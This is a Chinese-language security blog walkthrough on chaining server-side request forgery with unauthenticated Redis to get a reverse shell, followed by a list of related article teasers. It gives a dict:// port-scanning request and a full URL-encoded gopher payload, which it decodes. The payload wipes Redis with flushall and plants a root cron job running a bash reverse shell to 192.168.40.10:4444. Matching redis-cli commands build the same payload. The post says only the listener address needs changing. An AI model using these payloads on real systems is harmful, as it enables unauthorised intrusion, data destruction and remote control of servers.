SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。

服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。

SSRF + Redis未授权 案例

SSRF漏洞结合Redis未授权漏洞,怎么利用?

SSRF漏洞可以:

  • 利用可以访问内网的主机当成代理;

Redis未授权访问漏洞,可以利用该漏洞实现:

  • 信息泄露、数据删除;
  • 写入SSH公钥,SSH远程登录;
  • 反弹Shell
    • Dict协议
    • gopher协议
    • 构造Redis数据包,通过写入Linux 计划任务
    • 构造Redis数据包,利用Redis的数据备份功能,将web shell写入目标服务器(centos)的网站根目录下,然后用菜刀连接获取shell。
  • ...

结合起来就是:

通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。

流程如下:

  • 找到SSRF
  • 找6379端口的过程
  • 验证是否存在SSRF
  • 发送Web攻击荷载

流程图:

条件:

当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。

找6379端口的过程:

基于dict协议的利用

GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1

只需要遍历&XXXX& 从 0-65535 即可。

可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:



验证是否存在SSRF的方式之一:

GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1

发送redis数据包:

http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

解码:

gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在解码:

gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59 */1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1 *4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。

思考:

  1. 本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?

  2. 如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?

怎么构造 redis 数据包?

背景知识:

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。

在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:

  1. 打开socat流量工具,记录攻击流量

  2. 现找一台类似环境的Redis服务器,在系统中执行如下命令:

      Redis攻击代码:
    redis-cli -h 127.0.0.1 flushall #清除缓存
    echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1 #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
    redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
    redis-cli -h 127.0.0.1 save #保存
  3. 将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:

    *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

Reference

SSRF之利用dict和gopher吊打Redis

https://www.cnblogs.com/CoLo/p/14214208.html

SSRF——手把手教你Redis反弹Shell

https://blog.csdn.net/sudu2020dd/article/details/130998763

SSRF结合Redis未授权的打法的更多相关文章

  1. ssrf对redis未授权访问写webshell

    docker建立redis镜像 docker run -d -p 9999:6379 redis 将redis的6379端口映射到物理机的9999端口 使用工具生成攻击代码 攻击 进入容器查看

  2. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  3. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  4. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  5. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  6. redis 未授权漏洞利用直接登录服务器

    在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常 ...

  7. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  8. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  9. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  10. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

随机推荐

  1. LLM实战:LLM微调加速神器-Unsloth + LLama3

    1. 背景 五一结束后,本qiang~又投入了LLM的技术海洋中,本期将给大家带来LLM微调神器:Unsloth. 正如Unsloth官方的对外宣贯:Easily finetune & tra ...

  2. 密码学—重合指数法Python程序

    重合指数(Ic) 计算重合指数就是用来验证在Kasiski测试法中猜测出来的各种密钥长度哪一个才是最接近真实密钥长度的. 计算重合指数步骤 按照Kasiski测试法猜测的密钥长度分组 ↓ 分好组之后将 ...

  3. C语言:send + more = money,单词相加求解字母数字谜问题

    我用的是穷举法,虽然有点笨,但是在想不到其他更好的方法对我而言就是穷举法. 有程序员大大想到其他方法也可以私信我一起探讨一下~ #include<stdio.h> int main() { ...

  4. MegaCli64查看磁盘损坏,错误个数统计情况

    如下,两个命令,是磁盘濒临崩坏,比如存在扇区损坏之类的事情发生.咨询的浪潮热线,报sn.他们的临界值是500,我们监控脚本是200告警.Predictive Failure Count 这个的数字比M ...

  5. saltstack使用

    saltstack中salt-key的用法 介绍: saltstack中master和minion是依靠证书来进行加密通信的.在saltstack中salt-key命令是用来管理证书的 用法: sal ...

  6. 本地项目文件上传到git

    初始化项目: git init 与服务器项目关联:git remote add origin "http://**************************/r/ruoyi.git&q ...

  7. jQuery——链式操作

    链式操作,即连续操作. 例如: <!DOCTYPE html> <html> <head> <script src="https://cdn.boo ...

  8. 保姆教程系列:小白也能看懂的 Linux 挂载磁盘实操

    !!!是的没错,胖友们,保姆教程系列又更新了!!! @ 目录 前言 简介 一.磁盘分区 二.文件系统 三.实际操作 1. 使用lsblk命令查看新加入的磁盘信息 2. 使用fdisk或者cfdisk分 ...

  9. 基于WebSocket的modbus通信(一)- 客户端

    上一篇已经实现了ModbusTcp服务器和8个主要的功能码,只是还没有实现错误处理功能. 但是在测试客户端时却发现了上一篇的一个错误,那就是写数据成功,服务器不需要响应. 接下来要做的就是实现Modb ...

  10. 7.20考试总结(NOIP模拟21)[Median·Game·Park]

    雨滴降落的速度是每秒十米,我该用怎么样的速度,才能将你挽留? 前言 关于语文素养如何限制OI水平2,正好现在文化课巨佬们正在考语文(那我走???) T1 我以为整数是不用输出 .0 的,然后喜挂 30 ...